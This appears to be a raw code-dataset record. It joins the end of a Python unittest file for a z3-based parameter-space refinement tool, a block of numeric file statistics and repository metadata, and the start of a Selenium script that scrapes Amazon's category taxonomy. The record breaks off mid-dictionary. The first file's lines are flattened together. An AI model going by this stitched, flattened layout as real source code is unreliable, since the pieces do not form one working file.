TEST UNCOMMENT FOLLOWING LINE # result6 = check_deeper([(0.0869140625000000, 0.112304687500000), (0, 1)], ineq_to_constraints([replaced_f6], [intervals[6]], 16, 0.01 ** 3 , 0.999, False, 4, show_space=show_space) print(" It took", socket.gethostname(), time() - start_time, "seconds to run") # start_time = time() # check_deeper(region, constraints, n, epsilon, coverage, silent, version, size_q=False, debug=False, save=False, title="", where=False, solver="z3", delta=0.001, show_space=show_space) # check_deeper(region, constraints, recursion_depth, epsilon, coverage, silent, version, sample_size, debug, save, title, where, show_space, solver, delta, gui, iterative, timeout): check_deeper([(0, 2)], ineq_to_constraints(["x**2", "x+3"], [Interval(0, 1), Interval(0, 1)]), 6, 0.01 ** 2, 0.9, False, 4, show_space=show_space) # print(" It took", socket.gethostname(), time() - start_time, "seconds to run") def test_presampled(self): print(colored("Presampled refinement here", 'blue')) show_space = False parameters = ["x", "y"] region = [(0, 1), (2, 3)] space = RefinedSpace(copy.deepcopy(region), parameters, types=False, rectangles_sat=[], rectangles_unsat=[]) print("space", space) ## check_deeper(region, constraints, recursion_depth, epsilon, coverage, silent, version, sample_size=False, debug=False, save=False, title="", where=False, show_space=True, solver="z3", delta=0.001, gui=False): # check_deeper(space, ineq_to_constraints(["x", "y"], [Interval(0, 3), Interval(2.5, 3)]), 15, 0, 0.95, silent=False, version=5, sample_size=3, show_space=show_space) print("space", space) print(space.get_coverage()) ## UNCOMMENT THIS TBD # check_deeper([(0, 1), (2, 3)], ineq_to_constraints(["x+y"], [Interval(0, 3)]), 5, 0, 0.95, silent=False, version=5, show_space=show_space) # check_deeper([(0, 1), (2, 3)], ineq_to_constraints(["x+y"], [Interval(0, 3)]), 5, 0, 0.95, silent=True, version=5, show_space=show_space) # check_deeper([(0, 1), (2, 3)], ineq_to_constraints(["x+y"], [Interval(0, 3)]), 5, 0, 0.95, silent=True, version=5, size_q=11, show_space=show_space) # check_deeper([(0, 1), (2, 3)], ineq_to_constraints(["x", "y"], [Interval(0.5, 3), Interval(2.5, 3)]), 5, 0, 0.95, silent=True, version=5, show_space=show_space) # check_deeper([(0, 1), (2, 3)], ineq_to_constraints(["x", "y"], [Interval(0, 3), Interval(2.5, 3)]), 20, 0, 0.95, silent=True, version=5, show_space=show_space) # check_deeper([[0, 1], [2, 2.5]], ineq_to_constraints(["x", "y"], [Interval(0, 3), Interval(2.5, 3)]), 20, 0, 0.95, silent=False, version=5, show_space=show_space) # check_deeper([(0, 1), (2, 3)], ineq_to_constraints(["x", "y"], [Interval(0, 3), Interval(2.5, 3)]), 15, 0, 0.95, silent=False, version=5, sample_size=11, show_space=show_space) # check_deeper([(0, 0.5), (0, 0.5)], ineq_to_constraints(["x+y"], [Interval(0, 1)]), 5, 0, 0.95, silent=False, version=5, show_space=show_space) # a = sample(RefinedSpace([(0, 1), (0, 1), (0, 1)], ineq_to_constraints(["x", "y", "z"]), ["x+y"], [Interval(0, 1)]), 3, compress=True) # print(a) # b = refine_into_rectangles(a) print(colored("Presampled refinement ends here", 'blue')) # def test_timeout(self): # print(colored("Timeout test here", 'blue')) # check_deeper([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 1)]), 10, 0, 0.95, True, 1, show_space=show_space) ## TIMEOUT TEST # print("TIMEOUT TEST not finish") # print(timeout(check_deeper, ([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 1)]), 10, 0, 0.95, True, 1), timeout_duration=20, default=4, show_space=show_space)) # print("TIMEOUT TEST2 not finish") # print(type(check_deeper([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 1)]), 10, 0, 0.95, silent=True, version=1, time_out=2, show_space=show_space))) # print("TIMEOUT TEST finish") # timeout(check_deeper, ([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 1)]), 10, 0, 0.95, True, 1), timeout_duration=20, default=4, show_space=show_space) # print("TIMEOUT TEST2 finish") # print(type(check_deeper([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 1)]), 10, 0, 0.95, silent=True, version=1, time_out=20, show_space=show_space))) if __name__ == "__main__": # from load import get_all_f, get_all_rewards # from common.math import create_intervals_hsb # from load import load_all_data # # p = 0.0 # low = 0.0 # high = 0.0 # qmin = 0.0 # qmax = 0.0 # print("EVaaaal ", eval("2*p*(p - 1)*( If ( Or( low < 1 , 1 <= high), qmin, qmax) - 1)>=0.0125818193201294")) # # agents_quantities = [2, 3, 5] # D = load_all_data("data/data*.csv") # # f_multiparam_syn = get_all_f("./multiparam_syn*_[0-9].txt", "prism", True, agents_quantities) # f_multiparam_semisyn = get_all_f("./multiparam_se*_[0-9].txt", "prism", True, agents_quantities) # f_multiparam_asyn = get_all_f("./multiparam_asyn*_[0-9].txt", "prism", True, agents_quantities) # # f_low_high_low_syn = copy.deepcopy(f_multiparam_syn) # f_low_high_low_semisyn = copy.deepcopy(f_multiparam_semisyn) # f_low_high_low_asyn = copy.deepcopy(f_multiparam_asyn) # # ## Replacing the q(i) with respective function # for structure in [f_low_high_low_syn, f_multiparam_semisyn, f_multiparam_asyn]: # # print(type(structure)) # for dictionary in structure.keys(): # # print(type(population)) # # print(type(structure[population])) # # print(structure[dictionary]) # for population in range(len(structure[dictionary])): # # print(structure[dictionary][population]) # # print("structure", [f_low_high_low_syn].index(structure)) # # print("dictionary", dictionary) # # print("population", population) # # print(structure[dictionary][population]) # for BSCC in range(1, dictionary): # # print(structure[dictionary][population]) # # print() # structure[dictionary][population] = structure[dictionary][population].replace("q" + str(BSCC), ( # f" If ( Or( low < {BSCC} , {BSCC} <= high), qmin, qmax)")) # # print(structure[dictionary][population]) # # break # # ## Showing the difference in an example: # print(f_low_high_low_syn[3]) # print(f_multiparam_syn[3]) # # space = RefinedSpace([(0, 1), (0, 1), (0, 1), (0, 1), (0, 1)], ["p", "low", "high", "qmin", "qmax"], # ["Real", "Real", "Real", "Real", "Real"], [], []) # check_deeper(space, ineq_to_constraints(f_low_high_low_syn[2],create_intervals_hsb(0.95, 1500, D[2])),10,10e-6,0.95,False,4, size_q=5, show_space=show_space) unittest.main() print(colored("Presampled refinement here", 'blue')) show_space = True parameters = ["x", "y"] region = [(0, 1), (2, 3)] space = RefinedSpace(copy.deepcopy(region), parameters, types=False, rectangles_sat=[], rectangles_unsat=[]) print("space", space) check_deeper(space, ineq_to_constraints(["x", "y"], [Interval(0, 3), Interval(2.5, 3)]), 15, 0, 0.95, silent=False, version=5, show_space=show_space) print("space", space) print(space.get_coverage()) # print(Interval(0, 1)) # print(type(float(Interval(0, 1).start))) # print(check_safe([(0, 1)], ineq_to_constraints(["x", "2*x"], [Interval(0, 1), Interval(0, 2)]), silent=True, called=True)) # print(check_safe_new([(0, 1)], ["x>5"], silent=True, called=True)) # print(check_unsafe_new([(0, 1)], ["x>5"], silent=True, called=True)) # print(check_safe_new([(0, 6)], ["x>5"], silent=True, called=True)) # print(check_unsafe_new([(0, 6)], ["x>5"], silent=True, called=True)) # check_deeper([(0, 1), (2, 3)], ["x", "y"], [Interval(0, 3), Interval(2.5, 3)], 15, 0, 0.95, silent=False, version=5, size_q=3, show_space=show_space) # check_interval([(0, 1)], ["x"], [Interval(0, 1)], silent=False, called=False) # check_interval([(0, 3)], ["x"], [Interval(0, 2)], silent=False, called=False) if __name__ == '__main__': unittest.main()
460.653153
69,634
0.535035
88,069
306,795
1.854319
0.004065
0.107576
0.083217
0.056237
0.976909
0.958679
0.91336
0.812624
0.636209
0.415785
0
0.333761
0.095318
306,795
665
69,635
461.345865
0.254626
0.03606
0
0.579787
0
0.023936
0.90226
0.716054
0
0
0
0.001504
0.287234
1
0.026596
false
0.005319
0.026596
0
0.055851
0.053191
0
0
1
null
0
0
0
1
1
1
1
0
0
0
1
0
0
0
1
1
1
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
11
3c7e5257c5648c05e9e8341c58d8cc3b4524cb0f
87,087
py
Python
taxonomies/amazon/get_amazon_taxonomy.py
JutiaDev/laravel-category
b7b4f5e864395e457f8a4ea9f8b0d6c4fd35ba7a
[ "MIT" ]
null
null
null
taxonomies/amazon/get_amazon_taxonomy.py
JutiaDev/laravel-category
b7b4f5e864395e457f8a4ea9f8b0d6c4fd35ba7a
[ "MIT" ]
null
null
null
taxonomies/amazon/get_amazon_taxonomy.py
JutiaDev/laravel-category
b7b4f5e864395e457f8a4ea9f8b0d6c4fd35ba7a
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Fri Nov 6 00:05:48 2020 @author: abdelhamid abouhassane """ import time from selenium import webdriver from selenium.webdriver.support.ui import Select browser = webdriver.Chrome('./chromedriver') options = [ "search-alias=arts-crafts-intl-ship", # srefinment ul ( Get just li with class => s-navigation-indent-2 ) "search-alias=automotive-intl-ship", # srefinment ul "search-alias=baby-products-intl-ship", # srefinment ul "search-alias=beauty-intl-ship", # srefinment ul "search-alias=stripbooks-intl-ship", # ul within ul "search-alias=computers-intl-ship", # srefinment ul # "search-alias=digital-music", "search-alias=electronics-intl-ship", # srefinment ul # "search-alias=digital-text", # "search-alias=instant-video", "search-alias=fashion-womens-intl-ship", # srefinment ul "search-alias=fashion-mens-intl-ship", # srefinment ul "search-alias=fashion-girls-intl-ship", # srefinment ul "search-alias=fashion-boys-intl-ship", # srefinment ul # "search-alias=deals-intl-ship", "search-alias=hpc-intl-ship", # srefinment ul "search-alias=kitchen-intl-ship", # srefinment ul "search-alias=industrial-intl-ship", # srefinment ul "search-alias=luggage-intl-ship", # "search-alias=movies-tv-intl-ship", # "search-alias=music-intl-ship", "search-alias=pets-intl-ship", # srefinment ul "search-alias=software-intl-ship", # srefinment ul "search-alias=sporting-intl-ship", # srefinment ul "search-alias=tools-intl-ship", # srefinment ul "search-alias=toys-and-games-intl-ship", # srefinment ul "search-alias=videogames-intl-ship" # srefinment ul ] def build_tree(browser_instance, tree_dict, ul, index): if ul: for el in ul: key = el.text tree_dict[key] = {} elhref = el.find_element_by_tag_name('a') if elhref: browser_instance.get(elhref.get_attribute('href')) time.sleep(2) ull = browser_instance.find_element_by_css_selector('#s-refinements ul') if ull: liElements = ull.find_elements_by_tag_name('li') if liElements and len(liElements) > index + 1: index += 1 build_tree(browser_instance, tree_dict[key], liElements[index:], index) return {} def buildBaseDepth(): BaseCategoryDictionary = {} for option in options: select = Select(browser.find_element_by_id('searchDropdownBox')) select.select_by_value(option) parentCategory = select.first_selected_option.text print('parentCategory: {}'.format(parentCategory)) elem = browser.find_element_by_xpath('//*[@id="nav-search-submit-text"]/input') elem.click() time.sleep(5) BaseCategoryDictionary[parentCategory] = { "link": browser.current_url, "childs": {} } time.sleep(2) if parentCategory == 'Books' or parentCategory == 'Toys & Games': ul = browser.find_element_by_css_selector('#leftNav > ul:nth-child(5) > ul').find_elements_by_tag_name('li') elif parentCategory == 'Women\'s Fashion' or parentCategory == 'Men\'s Fashion': ul = browser.find_element_by_css_selector('div.left_nav.browseBox > ul').find_elements_by_tag_name('li') ul = ul[0:len(ul) - 3] elif parentCategory == 'Girls\' Fashion' or parentCategory == 'Boys\' Fashion' or parentCategory == 'Luggage': ul = browser.find_element_by_css_selector('div.left_nav.browseBox > ul').find_elements_by_tag_name('li') ul = ul[0:len(ul) - 4] if parentCategory != 'Luggage': print('todo: add school uniforms category later') elif parentCategory == 'Software': ul = browser.find_element_by_css_selector('#leftNav > ul:nth-child(7) > ul').find_elements_by_tag_name('li') else: ul = browser.find_element_by_css_selector('#leftNav > ul:nth-child(2) > ul').find_elements_by_tag_name('li') for el in ul: el_link = el.find_element_by_tag_name('a').get_attribute('href') BaseCategoryDictionary[parentCategory]["childs"][el.text] = { "link": el_link, "childs": {} } return BaseCategoryDictionary def buildTreeType1(subCategoriesDict, subCategoriesLink): print(subCategoriesLink) browser.get(subCategoriesLink) time.sleep(2) categoryElementsWrapper = browser.find_element_by_css_selector('#s-refinements ul') if categoryElementsWrapper: categoryElements = categoryElementsWrapper.find_elements_by_css_selector('li.s-navigation-indent-2') print(categoryElements) if categoryElements and len(categoryElements) > 0: print('entered condition 1') for categoryElement in categoryElements: print(categoryElement.text) categoryElementLink = categoryElement.find_element_by_tag_name('a').get_attribute('href') categoryElementChilds = {} # subCategoriesDict[categoryElement.text] = { # "link": categoryElementLink, # "childs": categoryElementChilds # } subCategoriesDict[categoryElement.text] = buildTreeType1(categoryElementChilds, categoryElementLink) else: print('entered condition 2') nextCategoryElement = backwardParentTree(categoryElementsWrapper) if nextCategoryElement: print(nextCategoryElement.text) nextCategoryElementLink = nextCategoryElement.find_element_by_tag_name('a').get_attribute('href') nextCategoryElementChilds = {} subCategoriesDict[nextCategoryElement.text] = { "link": nextCategoryElementLink, "childs": nextCategoryElementChilds } return buildTreeType1(nextCategoryElementChilds, nextCategoryElementLink) else: return {} else: return {} def backwardParentTree(categoryElementsWrapper): currentCategory = categoryElementsWrapper.find_element_by_css_selector('li.s-navigation-indent-1').text currentCategoryParents = categoryElementsWrapper.find_elements_by_css_selector( 'li.a-spacing-micro:not(.s-navigation-indent-1):not(.s-navigation-indent-2)') if len(currentCategoryParents)>1: lastCategoryParent = currentCategoryParents[len(currentCategoryParents) - 1] lastCategoryParentLink = lastCategoryParent.find_element_by_tag_name('a').get_attribute('href') print('lastCategoryParent: {}'.format(lastCategoryParent.text)) print('lastCategoryParentLink: {}'.format(lastCategoryParentLink)) browser.get(lastCategoryParentLink) time.sleep(5) lastCategoryParentWrapper = browser.find_element_by_css_selector('#s-refinements ul') lastCategoryParentElements = lastCategoryParentWrapper.find_elements_by_css_selector('li.s-navigation-indent-2') lastCategoryParentTextElements = list(map(lambda x: x.text, lastCategoryParentElements)) print('currentCategory: {}'.format(currentCategory)) print('new block: {}'.format(lastCategoryParentTextElements)) currentCategoryIndex = lastCategoryParentTextElements.index(currentCategory) print(currentCategoryIndex == len(lastCategoryParentElements) - 1) if currentCategoryIndex == len(lastCategoryParentElements) - 1: return backwardParentTree(lastCategoryParentWrapper) else: return lastCategoryParentElements[currentCategoryIndex + 1] else: return None if __name__ == '__main__': browser.get('https://www.amazon.com') # CategoryDictionary = buildBaseDepth() CategoryDictionary = { 'Arts & Crafts': { 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Darts-crafts-intl-ship&field-keywords=', 'childs': {'Beading & Jewelry Making': { 'link': 'https://www.amazon.com/s/ref=lp_4954955011_nr_n_0?fst=as%3Aoff&rh=n%3A4954955011%2Cn%3A%212617942011%2Cn%3A12896081&bbn=4954955011&ie=UTF8&qid=1604870650&rnid=2617942011', 'childs': {}}} } } # CategoryDictionary = {'Arts & Crafts': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Darts-crafts-intl-ship&field-keywords=', # 'childs': {'Beading & Jewelry Making': { # 'link': 'https://www.amazon.com/s/ref=lp_4954955011_nr_n_0?fst=as%3Aoff&rh=n%3A4954955011%2Cn%3A%212617942011%2Cn%3A12896081&bbn=4954955011&ie=UTF8&qid=1604870650&rnid=2617942011', # 'childs': {}}, 'Crafting': { # 'link': 'https://www.amazon.com/s/ref=lp_4954955011_nr_n_1?fst=as%3Aoff&rh=n%3A4954955011%2Cn%3A%212617942011%2Cn%3A378733011&bbn=4954955011&ie=UTF8&qid=1604870650&rnid=2617942011', # 'childs': {}}, 'Fabric': { # 'link': 'https://www.amazon.com/s/ref=lp_4954955011_nr_n_2?fst=as%3Aoff&rh=n%3A4954955011%2Cn%3A%212617942011%2Cn%3A12899121&bbn=4954955011&ie=UTF8&qid=1604870650&rnid=2617942011', # 'childs': {}}, 'Fabric Decorating': { # 'link': 'https://www.amazon.com/s/ref=lp_4954955011_nr_n_3?fst=as%3Aoff&rh=n%3A4954955011%2Cn%3A%212617942011%2Cn%3A12896841&bbn=4954955011&ie=UTF8&qid=1604870650&rnid=2617942011', # 'childs': {}}, 'Gift Wrapping Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_4954955011_nr_n_4?fst=as%3Aoff&rh=n%3A4954955011%2Cn%3A%212617942011%2Cn%3A723452011&bbn=4954955011&ie=UTF8&qid=1604870650&rnid=2617942011', # 'childs': {}}, 'Knitting & Crochet': { # 'link': 'https://www.amazon.com/s/ref=lp_4954955011_nr_n_5?fst=as%3Aoff&rh=n%3A4954955011%2Cn%3A%212617942011%2Cn%3A12897221&bbn=4954955011&ie=UTF8&qid=1604870650&rnid=2617942011', # 'childs': {}}, 'Needlework': { # 'link': 'https://www.amazon.com/s/ref=lp_4954955011_nr_n_6?fst=as%3Aoff&rh=n%3A4954955011%2Cn%3A%212617942011%2Cn%3A2237329011&bbn=4954955011&ie=UTF8&qid=1604870650&rnid=2617942011', # 'childs': {}}, 'Organization, Storage & Transport': { # 'link': 'https://www.amazon.com/s/ref=lp_4954955011_nr_n_7?fst=as%3Aoff&rh=n%3A4954955011%2Cn%3A%212617942011%2Cn%3A2237594011&bbn=4954955011&ie=UTF8&qid=1604870650&rnid=2617942011', # 'childs': {}}, 'Painting, Drawing & Art Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_4954955011_nr_n_8?fst=as%3Aoff&rh=n%3A4954955011%2Cn%3A%212617942011%2Cn%3A2747968011&bbn=4954955011&ie=UTF8&qid=1604870650&rnid=2617942011', # 'childs': {}}, 'Party Decorations & Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_4954955011_nr_n_9?fst=as%3Aoff&rh=n%3A4954955011%2Cn%3A%212617942011%2Cn%3A723469011&bbn=4954955011&ie=UTF8&qid=1604870650&rnid=2617942011', # 'childs': {}}, 'Printmaking': { # 'link': 'https://www.amazon.com/s/ref=lp_4954955011_nr_n_10?fst=as%3Aoff&rh=n%3A4954955011%2Cn%3A%212617942011%2Cn%3A12898451&bbn=4954955011&ie=UTF8&qid=1604870650&rnid=2617942011', # 'childs': {}}, 'Scrapbooking & Stamping': { # 'link': 'https://www.amazon.com/s/ref=lp_4954955011_nr_n_11?fst=as%3Aoff&rh=n%3A4954955011%2Cn%3A%212617942011%2Cn%3A12898821&bbn=4954955011&ie=UTF8&qid=1604870650&rnid=2617942011', # 'childs': {}}, 'Sewing': { # 'link': 'https://www.amazon.com/s/ref=lp_4954955011_nr_n_12?fst=as%3Aoff&rh=n%3A4954955011%2Cn%3A%212617942011%2Cn%3A12899091&bbn=4954955011&ie=UTF8&qid=1604870650&rnid=2617942011', # 'childs': {}}}}, 'Automotive': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dautomotive-intl-ship&field-keywords=', # 'childs': {'Car Care': { # 'link': 'https://www.amazon.com/s/ref=lp_2562090011_nr_n_0?fst=as%3Aoff&rh=n%3A2562090011%2Cn%3A%2115690151%2Cn%3A15718271&bbn=2562090011&ie=UTF8&qid=1604870665&rnid=15690151', # 'childs': {}}, 'Car Electronics & Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_2562090011_nr_n_1?fst=as%3Aoff&rh=n%3A2562090011%2Cn%3A%2115690151%2Cn%3A2230642011&bbn=2562090011&ie=UTF8&qid=1604870665&rnid=15690151', # 'childs': {}}, 'Exterior Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_2562090011_nr_n_2?fst=as%3Aoff&rh=n%3A2562090011%2Cn%3A%2115690151%2Cn%3A15857511&bbn=2562090011&ie=UTF8&qid=1604870665&rnid=15690151', # 'childs': {}}, 'Interior Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_2562090011_nr_n_3?fst=as%3Aoff&rh=n%3A2562090011%2Cn%3A%2115690151%2Cn%3A15857501&bbn=2562090011&ie=UTF8&qid=1604870665&rnid=15690151', # 'childs': {}}, 'Lights & Lighting Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_2562090011_nr_n_4?fst=as%3Aoff&rh=n%3A2562090011%2Cn%3A%2115690151%2Cn%3A15736321&bbn=2562090011&ie=UTF8&qid=1604870665&rnid=15690151', # 'childs': {}}, 'Motorcycle & Powersports': { # 'link': 'https://www.amazon.com/s/ref=lp_2562090011_nr_n_5?fst=as%3Aoff&rh=n%3A2562090011%2Cn%3A%2115690151%2Cn%3A346333011&bbn=2562090011&ie=UTF8&qid=1604870665&rnid=15690151', # 'childs': {}}, 'Oils & Fluids': { # 'link': 'https://www.amazon.com/s/ref=lp_2562090011_nr_n_6?fst=as%3Aoff&rh=n%3A2562090011%2Cn%3A%2115690151%2Cn%3A15718791&bbn=2562090011&ie=UTF8&qid=1604870665&rnid=15690151', # 'childs': {}}, 'Paint & Paint Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_2562090011_nr_n_7?fst=as%3Aoff&rh=n%3A2562090011%2Cn%3A%2115690151%2Cn%3A13591416011&bbn=2562090011&ie=UTF8&qid=1604870665&rnid=15690151', # 'childs': {}}, 'Performance Parts & Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_2562090011_nr_n_8?fst=as%3Aoff&rh=n%3A2562090011%2Cn%3A%2115690151%2Cn%3A15710351&bbn=2562090011&ie=UTF8&qid=1604870665&rnid=15690151', # 'childs': {}}, 'Replacement Parts': { # 'link': 'https://www.amazon.com/s/ref=lp_2562090011_nr_n_9?fst=as%3Aoff&rh=n%3A2562090011%2Cn%3A%2115690151%2Cn%3A15719731&bbn=2562090011&ie=UTF8&qid=1604870665&rnid=15690151', # 'childs': {}}, 'RV Parts & Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_2562090011_nr_n_10?fst=as%3Aoff&rh=n%3A2562090011%2Cn%3A%2115690151%2Cn%3A2258019011&bbn=2562090011&ie=UTF8&qid=1604870665&rnid=15690151', # 'childs': {}}, 'Tires & Wheels': { # 'link': 'https://www.amazon.com/s/ref=lp_2562090011_nr_n_11?fst=as%3Aoff&rh=n%3A2562090011%2Cn%3A%2115690151%2Cn%3A15706571&bbn=2562090011&ie=UTF8&qid=1604870665&rnid=15690151', # 'childs': {}}, 'Tools & Equipment': { # 'link': 'https://www.amazon.com/s/ref=lp_2562090011_nr_n_12?fst=as%3Aoff&rh=n%3A2562090011%2Cn%3A%2115690151%2Cn%3A15706941&bbn=2562090011&ie=UTF8&qid=1604870665&rnid=15690151', # 'childs': {}}, 'Automotive Enthusiast Merchandise': { # 'link': 'https://www.amazon.com/s/ref=lp_2562090011_nr_n_13?fst=as%3Aoff&rh=n%3A2562090011%2Cn%3A%2115690151%2Cn%3A2204830011&bbn=2562090011&ie=UTF8&qid=1604870665&rnid=15690151', # 'childs': {}}, 'Heavy Duty & Commercial Vehicle Equipment': { # 'link': 'https://www.amazon.com/s/ref=lp_2562090011_nr_n_14?fst=as%3Aoff&rh=n%3A2562090011%2Cn%3A%2115690151%2Cn%3A15682003011&bbn=2562090011&ie=UTF8&qid=1604870665&rnid=15690151', # 'childs': {}}}}, 'Baby': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dbaby-products-intl-ship&field-keywords=', # 'childs': {'Activity & Entertainment': { # 'link': 'https://www.amazon.com/s/ref=lp_16225005011_nr_n_0?fst=as%3Aoff&rh=i%3Ababy-products-intl-ship%2Cn%3A%2116225005011%2Cn%3A239225011&bbn=16225005011&ie=UTF8&qid=1604870679&rnid=16225005011', # 'childs': {}}, 'Apparel & Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_16225005011_nr_n_1?fst=as%3Aoff&rh=i%3Ababy-products-intl-ship%2Cn%3A%2116225005011%2Cn%3A7147444011&bbn=16225005011&ie=UTF8&qid=1604870679&rnid=16225005011', # 'childs': {}}, 'Baby & Toddler Toys': { # 'link': 'https://www.amazon.com/s/ref=lp_16225005011_nr_n_2?fst=as%3Aoff&rh=i%3Ababy-products-intl-ship%2Cn%3A%2116225005011%2Cn%3A196601011&bbn=16225005011&ie=UTF8&qid=1604870679&rnid=16225005011', # 'childs': {}}, 'Baby Care': { # 'link': 'https://www.amazon.com/s/ref=lp_16225005011_nr_n_3?fst=as%3Aoff&rh=i%3Ababy-products-intl-ship%2Cn%3A%2116225005011%2Cn%3A17720255011&bbn=16225005011&ie=UTF8&qid=1604870679&rnid=16225005011', # 'childs': {}}, 'Baby Stationery': { # 'link': 'https://www.amazon.com/s/ref=lp_16225005011_nr_n_4?fst=as%3Aoff&rh=i%3Ababy-products-intl-ship%2Cn%3A%2116225005011%2Cn%3A405369011&bbn=16225005011&ie=UTF8&qid=1604870679&rnid=16225005011', # 'childs': {}}, 'Car Seats & Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_16225005011_nr_n_5?fst=as%3Aoff&rh=i%3Ababy-products-intl-ship%2Cn%3A%2116225005011%2Cn%3A166835011&bbn=16225005011&ie=UTF8&qid=1604870679&rnid=16225005011', # 'childs': {}}, 'Diapering': { # 'link': 'https://www.amazon.com/s/ref=lp_16225005011_nr_n_6?fst=as%3Aoff&rh=i%3Ababy-products-intl-ship%2Cn%3A%2116225005011%2Cn%3A166764011&bbn=16225005011&ie=UTF8&qid=1604870679&rnid=16225005011', # 'childs': {}}, 'Feeding': { # 'link': 'https://www.amazon.com/s/ref=lp_16225005011_nr_n_7?fst=as%3Aoff&rh=i%3Ababy-products-intl-ship%2Cn%3A%2116225005011%2Cn%3A166777011&bbn=16225005011&ie=UTF8&qid=1604870679&rnid=16225005011', # 'childs': {}}, 'Gifts': { # 'link': 'https://www.amazon.com/s/ref=lp_16225005011_nr_n_8?fst=as%3Aoff&rh=i%3Ababy-products-intl-ship%2Cn%3A%2116225005011%2Cn%3A239226011&bbn=16225005011&ie=UTF8&qid=1604870679&rnid=16225005011', # 'childs': {}}, 'Nursery': { # 'link': 'https://www.amazon.com/s/ref=lp_16225005011_nr_n_9?fst=as%3Aoff&rh=i%3Ababy-products-intl-ship%2Cn%3A%2116225005011%2Cn%3A695338011&bbn=16225005011&ie=UTF8&qid=1604870679&rnid=16225005011', # 'childs': {}}, 'Potty Training': { # 'link': 'https://www.amazon.com/s/ref=lp_16225005011_nr_n_10?fst=as%3Aoff&rh=i%3Ababy-products-intl-ship%2Cn%3A%2116225005011%2Cn%3A166887011&bbn=16225005011&ie=UTF8&qid=1604870679&rnid=16225005011', # 'childs': {}}, 'Pregnancy & Maternity': { # 'link': 'https://www.amazon.com/s/ref=lp_16225005011_nr_n_11?fst=as%3Aoff&rh=i%3Ababy-products-intl-ship%2Cn%3A%2116225005011%2Cn%3A166804011&bbn=16225005011&ie=UTF8&qid=1604870679&rnid=16225005011', # 'childs': {}}, 'Safety': { # 'link': 'https://www.amazon.com/s/ref=lp_16225005011_nr_n_12?fst=as%3Aoff&rh=i%3Ababy-products-intl-ship%2Cn%3A%2116225005011%2Cn%3A166863011&bbn=16225005011&ie=UTF8&qid=1604870679&rnid=16225005011', # 'childs': {}}, 'Strollers & Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_16225005011_nr_n_13?fst=as%3Aoff&rh=i%3Ababy-products-intl-ship%2Cn%3A%2116225005011%2Cn%3A8446318011&bbn=16225005011&ie=UTF8&qid=1604870679&rnid=16225005011', # 'childs': {}}, 'Travel Gear': { # 'link': 'https://www.amazon.com/s/ref=lp_16225005011_nr_n_14?fst=as%3Aoff&rh=i%3Ababy-products-intl-ship%2Cn%3A%2116225005011%2Cn%3A17726796011&bbn=16225005011&ie=UTF8&qid=1604870679&rnid=16225005011', # 'childs': {}}}}, 'Beauty & Personal Care': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dbeauty-intl-ship&field-keywords=', # 'childs': {'Makeup': { # 'link': 'https://www.amazon.com/s/ref=lp_16225006011_nr_n_0?fst=as%3Aoff&rh=i%3Abeauty-intl-ship%2Cn%3A%2116225006011%2Cn%3A11058281&bbn=16225006011&ie=UTF8&qid=1604870716&rnid=16225006011', # 'childs': {}}, 'Skin Care': { # 'link': 'https://www.amazon.com/s/ref=lp_16225006011_nr_n_1?fst=as%3Aoff&rh=i%3Abeauty-intl-ship%2Cn%3A%2116225006011%2Cn%3A11060451&bbn=16225006011&ie=UTF8&qid=1604870716&rnid=16225006011', # 'childs': {}}, 'Hair Care': { # 'link': 'https://www.amazon.com/s/ref=lp_16225006011_nr_n_2?fst=as%3Aoff&rh=i%3Abeauty-intl-ship%2Cn%3A%2116225006011%2Cn%3A11057241&bbn=16225006011&ie=UTF8&qid=1604870716&rnid=16225006011', # 'childs': {}}, 'Fragrance': { # 'link': 'https://www.amazon.com/s/ref=lp_16225006011_nr_n_3?fst=as%3Aoff&rh=i%3Abeauty-intl-ship%2Cn%3A%2116225006011%2Cn%3A11056591&bbn=16225006011&ie=UTF8&qid=1604870716&rnid=16225006011', # 'childs': {}}, 'Foot, Hand & Nail Care': { # 'link': 'https://www.amazon.com/s/ref=lp_16225006011_nr_n_4?fst=as%3Aoff&rh=i%3Abeauty-intl-ship%2Cn%3A%2116225006011%2Cn%3A17242866011&bbn=16225006011&ie=UTF8&qid=1604870716&rnid=16225006011', # 'childs': {}}, 'Tools & Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_16225006011_nr_n_5?fst=as%3Aoff&rh=i%3Abeauty-intl-ship%2Cn%3A%2116225006011%2Cn%3A11062741&bbn=16225006011&ie=UTF8&qid=1604870716&rnid=16225006011', # 'childs': {}}, 'Shave & Hair Removal': { # 'link': 'https://www.amazon.com/s/ref=lp_16225006011_nr_n_6?fst=as%3Aoff&rh=i%3Abeauty-intl-ship%2Cn%3A%2116225006011%2Cn%3A3778591&bbn=16225006011&ie=UTF8&qid=1604870716&rnid=16225006011', # 'childs': {}}, 'Personal Care': { # 'link': 